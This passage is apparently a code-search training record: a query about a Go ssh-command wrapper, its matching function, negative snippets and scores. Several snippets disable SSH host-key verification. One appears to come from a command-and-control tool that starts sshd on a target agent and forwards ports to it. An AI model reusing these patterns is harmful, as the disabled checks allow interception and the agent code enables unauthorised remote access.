cmd.CombinedOutput()\n\tif err != nil {\n\t\tlog.Printf(\"Error output:%s\\n\", out)\n\t} else {\n\t\tif printStdout {\n\t\t\tlog.Printf(\"%s\\n\", out)\n\t\t}\n\t}\n\treturn err\n}", "func (c *Cmd) StdoutPipe() (io.ReadCloser, error)", "func (c *LocalCmd) Output() (string, string, error) {\n\toutBuf, errBuf := &bytes.Buffer{}, &bytes.Buffer{}\n\terr := runCmd(c.cmd, c.args, c.env, outBuf, errBuf)\n\treturn outBuf.String(), errBuf.String(), err\n}", "func (sh *Shell) runCommandUnix(cmd string, timeout time.Duration) (out string, err error) {\n\n\t// Forge token and command, and send to remote\n\ttoken := randStringBytesRmndr()\n\tforgedCmd := sh.forgeCommand(cmd, token)\n\n\tif err = sh.write(forgedCmd, timeout); err != nil {\n\t\tsh.Log.Error(err)\n\t\treturn\n\t}\n\tsh.Log.Debugf(tui.Green(\"command: \") + tui.Bold(cmd))\n\n\t// 2. Read connection.\n\tdone := make(chan struct{})\n\tprocessed := make(chan string, 1)\n\tgo func(chan struct{}, chan string) {\n\t\tdefer close(done)\n\t\tfor {\n\t\t\tselect {\n\t\t\tdefault:\n\t\t\t\t// Read all output until one/both tokens are found\n\t\t\t\toutput, err := sh.readCommandOuput(cmd, token, sh.tokenIndex)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn // We already logged the error\n\t\t\t\t}\n\n\t\t\t\t// Process output\n\t\t\t\tout, err = sh.processRawLine(output, cmd, token)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn // We already logged the error\n\t\t\t\t}\n\t\t\t\tprocessed <- out\n\t\t\t\treturn\n\t\t\tcase <-done:\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}(done, processed)\n\n\t// We wait either for the response body, or a timeout.\n\tfor {\n\t\tselect {\n\t\tcase out = <-processed:\n\t\t\tsh.Log.Debugf(tui.Dim(\"result: \") + tui.Bold(cmd))\n\t\t\treturn out, nil\n\t\tcase <-time.After(timeout):\n\t\t\tclose(done)\n\t\t\t// We still give out, in case it has something in it still.\n\t\t\treturn out, fmt.Errorf(\"reading command result from conn stream timed out\")\n\t\t}\n\t}\n}", "func (c *CmdReal) CombinedOutput() ([]byte, error) {\n\treturn c.cmd.CombinedOutput()\n}", "func (t *TestCluster) AssertCmdOutputMatches(m platform.Machine, cmd string, expected *regexp.Regexp) {\n\tt.LogJournal(m, \"+ \"+cmd)\n\toutput := t.MustSSH(m, cmd)\n\tif !expected.Match(output) {\n\t\tt.Fatalf(\"cmd %s output did not match regexp %s: %s\", cmd, expected, string(output))\n\t}\n}", "func (r *RemoteShell) Execute(ctx context.Context, cmd string) ([]byte, error) {\n\tsshCmd, err := r.conn.CommandContext(ctx, cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn sshCmd.CombinedOutput()\n}", "func OutputParsed(statement string) ([]byte, error) {\n\tcmd, err := CmdParsed(statement)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcmd.Env = os.Environ()\n\treturn OutputCmd(cmd)\n}", "func (p Pwd) ColoredOutput() string {\n\treturn ansi.ColorFunc(\"green+h:black\")(p.Output())\n}", "func (o LookupRepositoryResultOutput) CloneUrlSsh() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupRepositoryResult) string { return v.CloneUrlSsh }).(pulumi.StringOutput)\n}", "func RunCommandAndStoreOutput(vmi *v1.VirtualMachineInstance, command string, timeout time.Duration) (string, error) {\n\tvirtClient := kubevirt.Client()\n\n\topts := &kubecli.SerialConsoleOptions{ConnectionTimeout: timeout}\n\tstream, err := virtClient.VirtualMachineInstance(vmi.Namespace).SerialConsole(vmi.Name, opts)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tconn := stream.AsConn()\n\tdefer conn.Close()\n\n\t_, err = fmt.Fprintf(conn, \"%s\\n\", command)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tscanner := bufio.NewScanner(conn)\n\tif !skipInput(scanner) {\n\t\treturn \"\", fmt.Errorf(\"failed to run [%s] at VMI %s (skip input)\", command, vmi.Name)\n\t}\n\tif !scanner.Scan() {\n\t\treturn \"\", fmt.Errorf(\"failed to run [%s] at VMI %s\", command, vmi.Name)\n\t}\n\treturn scanner.Text(), nil\n}", "func (r *RemoteIO) SendOutput(outp ,errp io.ReadCloser) {\n\tdefer outp.Close()\n\tdefer errp.Close()\n//\tbuf := make([]byte, 1024, 4096)\n\tchbuf:=make(chan []byte)\n\tgo getOut(chbuf,outp)\n\tgo getOut(chbuf,errp)\n\tfor {\n/*\t\tvar(\n\t\t\tn int\n\t\t\terr error\n\t\t)\n\t\tselect{\n\t\t\tcase n, err = outp.Read(buf):\n\t\t\tcase n, err =errp.Read(buf):\n\t\t\t\n\t\t}\n\t\tif err != nil {\n\t\t\t//fmt.Println(\"Read pipe over:\",err)\n\t\t\tbreak\n\t\t} else {\n*/\n\t\tbuf:= <-chbuf\n\t\tif len(buf)==0 && cap(buf)==0{\n\t\t\tbreak\n\t\t}\n\t\tif _, err := r.wtr.Write(buf); err != nil {\n\t\t\t//\tfmt.Println(\"Send output to client failed:\",err)\n\t\t\tbreak\n\t\t}\n///\t\t}\n\t}\n}", "func OutputCmd(cmd *exec.Cmd) ([]byte, error) {\n\toutput := new(bytes.Buffer)\n\tcmd.Stdout = output\n\tcmd.Stderr = output\n\tif err := cmd.Run(); err != nil {\n\t\treturn output.Bytes(), err\n\t}\n\treturn output.Bytes(), nil\n}", "func GetCommandToTestHostConnectivity(host string) string {\n\treturn fmt.Sprintf(\"if (-Not (Test-NetConnection -ComputerName %s \"+\n\t\t\"-CommonTCPPort HTTP).TcpTestSucceeded) {Write-Output 'connection failed:'; exit 10}\", host)\n}" ]
[ "0.6649123", "0.6281049", "0.6250141", "0.6206809", "0.60253257", "0.5987828", "0.59615654", "0.5894226", "0.5859472", "0.58569473", "0.56754476", "0.5580143", "0.5497705", "0.54637593", "0.5440785", "0.54366463", "0.5434005", "0.5426695", "0.53995425", "0.534895", "0.5338598", "0.5313777", "0.5304508", "0.5300727", "0.52921647", "0.52880406", "0.52788824", "0.5271699", "0.5249112", "0.5242028", "0.5237573", "0.522595", "0.5223003", "0.5218443", "0.5196303", "0.51810783", "0.51734036", "0.5160242", "0.5159028", "0.5149523", "0.51406556", "0.5136148", "0.5134947", "0.5127543", "0.5126677", "0.5120434", "0.5111233", "0.5105584", "0.5092317", "0.507329", "0.50728244", "0.5062059", "0.50570935", "0.5050925", "0.50284183", "0.5016694", "0.5006126", "0.50003475", "0.49943691", "0.49904048", "0.4987757", "0.49793783", "0.49775055", "0.49756718", "0.49745476", "0.4962307", "0.4959221", "0.49587315", "0.4952568", "0.49161735", "0.49153277", "0.49118987", "0.49026114", "0.48923984", "0.4889384", "0.48881862", "0.4881739", "0.48792762", "0.4876577", "0.4873723", "0.48728603", "0.48668057", "0.48593685", "0.4858486", "0.48506778", "0.48500228", "0.48343834", "0.48320276", "0.48313996", "0.48245314", "0.48211402", "0.48140115", "0.4806864", "0.4800423", "0.47978032", "0.4784069", "0.47800085", "0.47751492", "0.47689968", "0.47682166" ]
0.8153229
0
StreamConnectCommand Aliases `ssh C command` and streams std channels
func StreamConnectCommand(args []string) { if len(args) == 0 { log.Fatal("At least one argument must be supplied to use this command") } cs := strings.Join(args, " ") pn := conf.GetConfig().Tokaido.Project.Name + ".tok" utils.StreamOSCmd("ssh", []string{"-q", "-o UserKnownHostsFile=/dev/null", "-o StrictHostKeyChecking=no", pn, "-C", cs}...) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func ConnectCommand(args []string) string {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tr, err := utils.CommandSubSplitOutput(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tutils.DebugString(r)\n\n\treturn r\n}", "func ConnectCommandOutput(args []string) string {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tr := utils.CommandSubstitution(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n\n\tutils.DebugString(r)\n\n\treturn r\n}", "func SshConnect(user, password, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t\taddr string\n\t)\n\t// get auth method\n\tauth = make([]ssh.AuthMethod, 0)\n\tauth = append(auth, ssh.Password(password))\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t}\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}", "func sshconnect(n *Node) (*ssh.Session, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}", "func connect() cli.Command { // nolint: gocyclo\n\tcommand := cli.Command{\n\t\tName: \"connect\",\n\t\tAliases: []string{\"conn\"},\n\t\tUsage: \"Get a shell from a vm\",\n\t\tFlags: []cli.Flag{\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"user\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"ssh login user\",\n\t\t\t},\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"key\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"private key path (default: ~/.ssh/id_rsa)\",\n\t\t\t},\n\t\t},\n\t\tAction: func(c *cli.Context) error {\n\t\t\tvar name, loginUser, key string\n\t\t\tvar vmID int\n\t\t\tnameFound := false\n\t\t\tnargs := c.NArg()\n\t\t\tswitch {\n\t\t\tcase nargs == 1:\n\t\t\t\t// Parse flags\n\t\t\t\tif c.String(\"user\") != \"\" {\n\t\t\t\t\tloginUser = c.String(\"user\")\n\t\t\t\t} else {\n\t\t\t\t\tusr, _ := user.Current()\n\t\t\t\t\tloginUser = usr.Name\n\t\t\t\t}\n\n\t\t\t\tif c.String(\"key\") != \"\" {\n\t\t\t\t\tkey, _ = filepath.Abs(c.String(\"key\"))\n\t\t\t\t} else {\n\t\t\t\t\tusr, err := user.Current()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tkey = usr.HomeDir + \"/.ssh/id_rsa\"\n\t\t\t\t}\n\t\t\t\tname = c.Args().First()\n\t\t\t\tcli, err := client.NewEnvClient()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tlistArgs := filters.NewArgs()\n\t\t\t\tlistArgs.Add(\"ancestor\", VMLauncherContainerImage)\n\t\t\t\tcontainers, err := cli.ContainerList(context.Background(),\n\t\t\t\t\ttypes.ContainerListOptions{\n\t\t\t\t\t\tQuiet: false,\n\t\t\t\t\t\tSize: false,\n\t\t\t\t\t\tAll: true,\n\t\t\t\t\t\tLatest: false,\n\t\t\t\t\t\tSince: \"\",\n\t\t\t\t\t\tBefore: \"\",\n\t\t\t\t\t\tLimit: 0,\n\t\t\t\t\t\tFilters: listArgs,\n\t\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tfor id, container := range containers {\n\t\t\t\t\tif container.Names[0][1:] == name {\n\t\t\t\t\t\tnameFound = true\n\t\t\t\t\t\tvmID = id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !nameFound {\n\t\t\t\t\tfmt.Printf(\"Unable to find a running vm with name: %s\", name)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t} else {\n\t\t\t\t\tvmIP := containers[vmID].NetworkSettings.Networks[\"bridge\"].IPAddress\n\t\t\t\t\tgetNewSSHConn(loginUser, vmIP, key)\n\t\t\t\t}\n\n\t\t\tcase nargs == 0:\n\t\t\t\tfmt.Println(\"No name provided as argument.\")\n\t\t\t\tos.Exit(1)\n\n\t\t\tcase nargs > 1:\n\t\t\t\tfmt.Println(\"Only one argument is allowed\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\treturn command\n}", "func sshConnect(ctx context.Context, conn net.Conn, ssh ssh.ClientConfig, dialTimeout time.Duration, addr string) (net.Conn, error) {\n\tssh.Timeout = dialTimeout\n\tsconn, err := tracessh.NewClientConnWithDeadline(ctx, conn, addr, &ssh)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, conn.Close())\n\t}\n\n\t// Build a net.Conn over the tunnel. Make this an exclusive connection:\n\t// close the net.Conn as well as the channel upon close.\n\tconn, _, err = sshutils.ConnectProxyTransport(sconn.Conn, &sshutils.DialReq{\n\t\tAddress: constants.RemoteAuthServer,\n\t}, true)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, sconn.Close())\n\t}\n\treturn conn, nil\n}", "func (s *Session) doCommandStream(\n\tctx context.Context,\n\tname Name,\n\tf func(ctx context.Context, conn *grpc.ClientConn, header *headers.RequestHeader) (interface{}, error),\n\tresponseFunc func(interface{}) (*headers.ResponseHeader, interface{}, error)) (<-chan interface{}, error) {\n\tconn, err := s.conns.Connect()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstream, requestHeader := s.nextStreamHeader(getPrimitiveID(name))\n\tresponses, err := f(ctx, conn, requestHeader)\n\tif err != nil {\n\t\tstream.Close()\n\t\treturn nil, err\n\t}\n\n\t// Create a goroutine to close the stream when the context is canceled.\n\t// This will ensure that the server is notified the stream has been closed on the next keep-alive.\n\tgo func() {\n\t\t<-ctx.Done()\n\t\tstream.Close()\n\t}()\n\n\thandshakeCh := make(chan struct{})\n\tresponseCh := make(chan interface{})\n\tgo s.commandStream(ctx, f, responseFunc, responses, stream, requestHeader, handshakeCh, responseCh)\n\n\tselect {\n\tcase <-handshakeCh:\n\t\treturn responseCh, nil\n\tcase <-time.After(15 * time.Second):\n\t\treturn nil, errors.NewTimeout(\"handshake timed out\")\n\t}\n}", "func (st *state) connectStream(path string, attrs url.Values, extraHeaders http.Header) (base.Stream, error) {\n\ttarget := url.URL{\n\t\tScheme: \"wss\",\n\t\tHost: st.addr,\n\t\tPath: path,\n\t\tRawQuery: attrs.Encode(),\n\t}\n\t// TODO(macgreagoir) IPv6. Ubuntu still always provides IPv4 loopback,\n\t// and when/if this changes localhost should resolve to IPv6 loopback\n\t// in any case (lp:1644009). Review.\n\tcfg, err := websocket.NewConfig(target.String(), \"http://localhost/\")\n\t// Add any cookies because they will not be sent to websocket\n\t// connections by default.\n\tfor header, values := range extraHeaders {\n\t\tfor _, value := range values {\n\t\t\tcfg.Header.Add(header, value)\n\t\t}\n\t}\n\n\tconnection, err := websocketDialConfig(cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := readInitialStreamError(connection); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\treturn connection, nil\n}", "func (e *streamExecutor) Stream(stdin io.Reader, stdout, stderr io.Writer, tty bool) error {\n\tsupportedProtocols := []string{StreamProtocolV2Name, StreamProtocolV1Name}\n\tconn, protocol, err := e.Dial(supportedProtocols...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\n\tvar streamer streamProtocolHandler\n\n\tswitch protocol {\n\tcase StreamProtocolV2Name:\n\t\tstreamer = &streamProtocolV2{\n\t\t\tstdin: stdin,\n\t\t\tstdout: stdout,\n\t\t\tstderr: stderr,\n\t\t\ttty: tty,\n\t\t}\n\tcase \"\":\n\t\tglog.V(4).Infof(\"The server did not negotiate a streaming protocol version. Falling back to %s\", StreamProtocolV1Name)\n\t\tfallthrough\n\tcase StreamProtocolV1Name:\n\t\tstreamer = &streamProtocolV1{\n\t\t\tstdin: stdin,\n\t\t\tstdout: stdout,\n\t\t\tstderr: stderr,\n\t\t\ttty: tty,\n\t\t}\n\t}\n\n\treturn streamer.stream(conn)\n}", "func SSHConnect() {\n\tcommand := \"uptime\"\n\tvar usInfo userInfo\n\tvar kP keyPath\n\tkey, err := ioutil.ReadFile(kP.privetKey)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tconfig := &ssh.ClientConfig{\n\t\tUser: usInfo.user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: hostKeyCallBack,\n\t}\n\tclient, err := ssh.Dial(\"tcp\", usInfo.servIP+\":\"+usInfo.port, config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer client.Close()\n\tss, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer ss.Close()\n\tvar stdoutBuf bytes.Buffer\n\tss.Stdout = &stdoutBuf\n\tss.Run(command)\n\tfmt.Println(stdoutBuf.String())\n}", "func Test_SSH(t *testing.T) {\n\tvar cipherList []string\n\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tdefer session.Close()\n\n\tcmdlist := strings.Split(cmd, \";\")\n\tstdinBuf, err := session.StdinPipe()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\tvar outbt, errbt bytes.Buffer\n\tsession.Stdout = &outbt\n\n\tsession.Stderr = &errbt\n\terr = session.Shell()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tfor _, c := range cmdlist {\n\t\tc = c + \"\\n\"\n\t\tstdinBuf.Write([]byte(c))\n\n\t}\n\tsession.Wait()\n\tt.Log((outbt.String() + errbt.String()))\n\treturn\n}", "func (this Scanner) connect(user, host string, conf ssh.ClientConfig) (*ssh.Client, *ssh.Session, error) {\n\t// Develop the network connection out\n\tconn, err := ssh.Dial(\"tcp\", host, &conf)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Actually perform our connection\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tconn.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn conn, session, nil\n}", "func sftpconnect(n *Node) (*sftp.Client, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tsshClient *ssh.Client\n\t\tsftpClient *sftp.Client\n\t\terr error\n\t)\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// Connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif sshClient, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create sftp client\n\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn sftpClient, nil\n}", "func cmdStream(cmd *exec.Cmd, input io.Reader) (io.ReadCloser, error) {\n\tcmd.Stdin = input\n\tpipeR, pipeW := io.Pipe()\n\tcmd.Stdout = pipeW\n\tvar errBuf bytes.Buffer\n\tcmd.Stderr = &errBuf\n\n\t// Run the command and return the pipe\n\tif err := cmd.Start(); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Copy stdout to the returned pipe\n\tgo func() {\n\t\tif err := cmd.Wait(); err != nil {\n\t\t\tpipeW.CloseWithError(fmt.Errorf(\"%s: %s\", err, errBuf.String()))\n\t\t} else {\n\t\t\tpipeW.Close()\n\t\t}\n\t}()\n\n\treturn pipeR, nil\n}", "func SSHConnect(resource *OpenAmResource, port string) (*ssh.Client, *ssh.Session, error) {\n\n\tsshConfig := &ssh.ClientConfig{\n\t\tUser: resource.Username,\n\t\tAuth: []ssh.AuthMethod{ssh.Password(resource.Password)},\n\t}\n\n\tserverString := resource.Hostname + \":\" + port\n\n\tsshConfig.HostKeyCallback = ssh.InsecureIgnoreHostKey()\n\tclient, err := ssh.Dial(\"tcp\", serverString, sshConfig)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tclient.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn client, session, nil\n}", "func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\n\tfmt.Println(cmd)\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := &bytes.Buffer{}\n\twriter := io.MultiWriter(os.Stdout, buf)\n\tgo io.Copy(writer, out)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo io.Copy(os.Stderr, outerr)\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}", "func (sshClient *SSHClient) connect() (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// get auth method\n\tauth = make([]ssh.AuthMethod, 0)\n\tauth = append(auth, ssh.Password(sshClient.Password))\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: sshClient.Username,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\tclientConfig.Ciphers = append(clientConfig.Ciphers, \"aes128-cbc\", \"aes128-ctr\")\n\n\tif sshClient.KexAlgorithms != \"\" {\n\t\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, sshClient.KexAlgorithms)\n\t} else {\n\t\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, \"diffie-hellman-group1-sha1\")\n\t}\n\n\t/*if sshClient.Cipher != \"\" {\n\t\tclientConfig.Cipher = append(clientConfig.Cipher, sshClient.Cipher)\n\t} else {\n\t\tclientConfig.Cipher = append(clientConfig.Cipher, \"diffie-hellman-group1-sha1\")\n\t}*/\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", sshClient.Host, sshClient.Port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}", "func SSHClient(shell, port string) (err error) {\n\tif !util.IsCommandExist(\"ssh\") {\n\t\terr = fmt.Errorf(\"ssh must be installed\")\n\t\treturn\n\t}\n\n\t// is port mapping already done?\n\tlport := strconv.Itoa(util.RandInt(2048, 65535))\n\tto := \"127.0.0.1:\" + port\n\texists := false\n\tfor _, p := range PortFwds {\n\t\tif p.Agent == CurrentTarget && p.To == to {\n\t\t\texists = true\n\t\t\tlport = p.Lport // use the correct port\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !exists {\n\t\t// start sshd server on target\n\t\tcmd := fmt.Sprintf(\"!sshd %s %s %s\", shell, port, uuid.NewString())\n\t\tif shell != \"bash\" {\n\t\t\terr = SendCmdToCurrentTarget(cmd)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tCliPrintInfo(\"Starting sshd (%s) on target %s\", shell, strconv.Quote(CurrentTarget.Tag))\n\n\t\t\t// wait until sshd is up\n\t\t\tdefer func() {\n\t\t\t\tCmdResultsMutex.Lock()\n\t\t\t\tdelete(CmdResults, cmd)\n\t\t\t\tCmdResultsMutex.Unlock()\n\t\t\t}()\n\t\t\tfor {\n\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\tres, exists := CmdResults[cmd]\n\t\t\t\tif exists {\n\t\t\t\t\tif strings.Contains(res, \"success\") {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t} else {\n\t\t\t\t\t\terr = fmt.Errorf(\"Start sshd failed: %s\", res)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// set up port mapping for the ssh session\n\t\tCliPrintInfo(\"Setting up port mapping for sshd\")\n\t\tpf := &PortFwdSession{}\n\t\tpf.Ctx, pf.Cancel = context.WithCancel(context.Background())\n\t\tpf.Lport, pf.To = lport, to\n\t\tgo func() {\n\t\t\terr = pf.RunPortFwd()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"PortFwd failed: %v\", err)\n\t\t\t\tCliPrintError(\"Start port mapping for sshd: %v\", err)\n\t\t\t}\n\t\t}()\n\t\tCliPrintInfo(\"Waiting for response from %s\", CurrentTarget.Tag)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\t// wait until the port mapping is ready\n\texists = false\nwait:\n\tfor i := 0; i < 100; i++ {\n\t\tif exists {\n\t\t\tbreak\n\t\t}\n\t\ttime.Sleep(100 * time.Millisecond)\n\t\tfor _, p := range PortFwds {\n\t\t\tif p.Agent == CurrentTarget && p.To == to {\n\t\t\t\texists = true\n\t\t\t\tbreak wait\n\t\t\t}\n\t\t}\n\t}\n\tif !exists {\n\t\terr = errors.New(\"Port mapping unsuccessful\")\n\t\treturn\n\t}\n\n\t// let's do the ssh\n\tsshPath, err := exec.LookPath(\"ssh\")\n\tif err != nil {\n\t\tCliPrintError(\"ssh not found, please install it first: %v\", err)\n\t}\n\tsshCmd := fmt.Sprintf(\"%s -p %s -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no 127.0.0.1\",\n\t\tsshPath, lport)\n\tCliPrintSuccess(\"Opening SSH session for %s in new window. \"+\n\t\t\"If that fails, please execute command %s manaully\",\n\t\tCurrentTarget.Tag, strconv.Quote(sshCmd))\n\n\t// agent name\n\tname := CurrentTarget.Hostname\n\tlabel := Targets[CurrentTarget].Label\n\tif label != \"nolabel\" && label != \"-\" {\n\t\tname = label\n\t}\n\treturn TmuxNewWindow(fmt.Sprintf(\"%s-%s\", name, shell), sshCmd)\n}", "func sshAgent() (io.ReadWriteCloser, error) {\r\n cmd := exec.Command(\"wsl\", \"bash\", \"-c\", \"PS1=x source ~/.bashrc; socat - UNIX:\\\\$SSH_AUTH_SOCK\")\r\n stdin, err := cmd.StdinPipe()\r\n if err != nil {\r\n return nil, err\r\n }\r\n stdout, err := cmd.StdoutPipe()\r\n if err != nil {\r\n return nil, err\r\n }\r\n if err := cmd.Start(); err != nil {\r\n return nil, err\r\n }\r\n return &sshAgentCmd{stdout, stdin, cmd}, nil\r\n}", "func (ch *ServerChannel) Connect(c *Client) {}", "func (server *Server) sendCommand(clientID string, cmd *pb.ExecutionCommand) {\n\tstream := server.clientStreams[clientID]\n\tlog.Printf(\"sending stream to client %s\", clientID)\n\tstream.Send(cmd)\n}", "func (s *Transport) connect(user string, config *ssh.ClientConfig) (*ssh.Client, error) {\n const sshTimeout = 30 * time.Second\n\n if v, ok := s.client(user); ok {\n return v, 